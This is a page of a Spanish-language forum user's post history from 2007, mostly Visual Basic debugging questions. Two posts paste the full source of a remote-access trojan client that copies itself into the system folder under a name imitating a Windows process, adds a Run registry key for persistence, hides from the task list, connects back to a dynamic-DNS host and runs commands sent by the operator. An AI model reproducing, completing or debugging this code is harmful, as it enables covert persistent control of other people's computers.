últimos mensajes de: shadow.darknesses

Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7

31	Programación / Programación Visual Basic / Re: Como puedo hacer para la ver la cantidad de usuarios conectados	en: 20 Enero 2007, 01:11 am
es que no tengo msdn instalados me sale este error count, jej xD seme habia olvidado eon si me he leido varias veces ese manual xD como instaldo msdn mirn me sale esto y no caxo que mas hacer miren me sale esto que hago aki, y cuando eligo algo nunca se me habilita el boton Aceptar xfavor Salud0s.... y gracias ------------------------------------------------------------------------- prove para ver la cantidad de conexiones, pero no me funciona miren este es el code Código: Private Sub Ws_ConnectionRequest(Index As Integer, ByVal requestID As Long) Dim conexiones As Long On Error GoTo error TotalIndex = TotalIndex + 1 Ws(Index).Close Ws(Index).Accept requestID Load Ws(TotalIndex) Ws(TotalIndex).LocalPort = frm_config.Text_puerto.Text Ws(TotalIndex).Listen conexiones = Ws.Count Me.Caption = "Usuarios Conectados : " & conexiones & "^^" error: End Sub no me funca asi me podrian ayudar gracias

32	Programación / Programación Visual Basic / Re: Como se la version de mi programa	en: 19 Enero 2007, 18:21 pm
excelente muchas gracias era justo lo que keria Saludos... per no entendi algo xq no se le coloka me.app.major y tu me dijistes que era un objeto, pero yo no he agregado nada

33	Programación / Programación Visual Basic / Como puedo hacer para la ver la cantidad de usuarios conectados	en: 19 Enero 2007, 18:18 pm
yo tengo los usuarios conectados a mi cliente/server en un list view, y no caxo como hacer que en una parte se vea la cantidad de usarios conectados a mi xD me podrian ayudar xfa

34	Programación / Programación Visual Basic / Como se la version de mi programa	en: 19 Enero 2007, 17:42 pm
ola me gustaria saber si hay alguna propiedad que te diiga la version del programa yo le coloko .version para que me entiendan xD existe? o no Saludos... xq no la pude encontrar en google

Programación / Programación Visual Basic / Re: porque me sale este error

en: 19 Enero 2007, 17:12 pm

cuando lei tu respuesta pense que ese era el error pero no

Código:

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
'Shell "cmd.exe /c start " & vdata(1)
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub

ahora ese code es
y me sale el mismo error

Programación / Programación Visual Basic / Re: porque me sale este error

en: 17 Enero 2007, 22:28 pm

Cita de: CeLaYa en 17 Enero 2007, 21:20 pm

Pues eso si que esta raro

, y porque mejor no pones el control de errorres desde el inicio del procedimiento y salte al final del proc. cuando se provoque el error.

Código:

Private Ws_DataArrival (....

On Local error Goto LineaXXX
...
...
...


LineaXXX
    Msgbox Err.Number & Err.Description
On Local error goto 0
end sub

esto lo digo porque veo que usas el control de errores pero se esta cortando la ejecución,entonces tal vez el error se genere antes de eso, si no, entonces revisa bien la declaración de variables, te recomiendo que pongas la instruccion "Option Explicit"

si pongo "option Explicit", siempre xD
mira aki sale el error

y este es el code

Código:

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, ruta As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Shell "cmd.exe /c start " & vdata(1)
'Set ruta = CreateObject("WScript.Shell")ruta.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub

Saludos... gracias =

37	Programación / Programación Visual Basic / Re: porque me sale este error	en: 17 Enero 2007, 18:39 pm
pero si yo coloko esto Set ruta = CreateObject("WScript.Shell") ruta.Run "www.latin-hackgt.tk" asi si funciona y no ponga nada, solo este code xq no funca cuando pongo esto Set ruta = CreateObject("WScript.Shell") ruta.Run vdata(1) si es lo mismo , solo que te lo manda el cliente

38	Programación / Programación Visual Basic / porque me sale este error	en: 17 Enero 2007, 16:48 pm
miren esta parte , es pa ejecutar una ruta pero no me funca me sale el error que ven pero con esto Shell "cmd.exe /c start " & vdata(1) si me funca pero con esto Set ruta = CreateObject("WScript.Shell") ruta.Run vdata(1) nooo, no entiendo, ya esta declarada la variable y too me puede ayudar xfavor Saludos....

39	Programación / Programación Visual Basic / Re: como hago ejecutar	en: 17 Enero 2007, 02:50 am
boreck, jeje gracias yo = me bahe ese manual y kien me puede explicar algo de api, que el code que me puseriona arriba no entiendo nada Código: Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Const SW_SHOWNORMAL = 1 Private Sub Form_Load() ShellExecute Me.hwnd, vbNullString, "algo.zip", vbNullString, "C:\", SW_SHOWNORMAL End Sub aki Código: Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long aki que es constaste que le puedo cambiar??? no entienod eso de "hwnd"y todos los demas parametros aki Código: Const SW_SHOWNORMAL = 1 que es eso? Código: ShellExecute Me.hwnd, vbNullString, "algo.zip", vbNullString, "C:\", SW_SHOWNORMAL que es me.hwnd, que es vbNullString, algo.zip se supone que esta en "c:\algo.zip", que es vbNullString, que es SW_SHOWNORMAL xD como ven no entiendo nada, jeje y x eso quiero entender el code en ves de solo copiarlo, Saludos... el que me ponga algun manual de api, que explice esto o que me expliken seria feliz aparte de este, xq no me explican mucho http://foro.elhacker.net/index.php/topic,78189.0.html#top y este no lo entiendo xfaa, ayuda Saludos...

40	Programación / Programación Visual Basic / Re: como hago ejecutar	en: 16 Enero 2007, 18:53 pm
?

Páginas: 1 2 3 [4] 5 6 7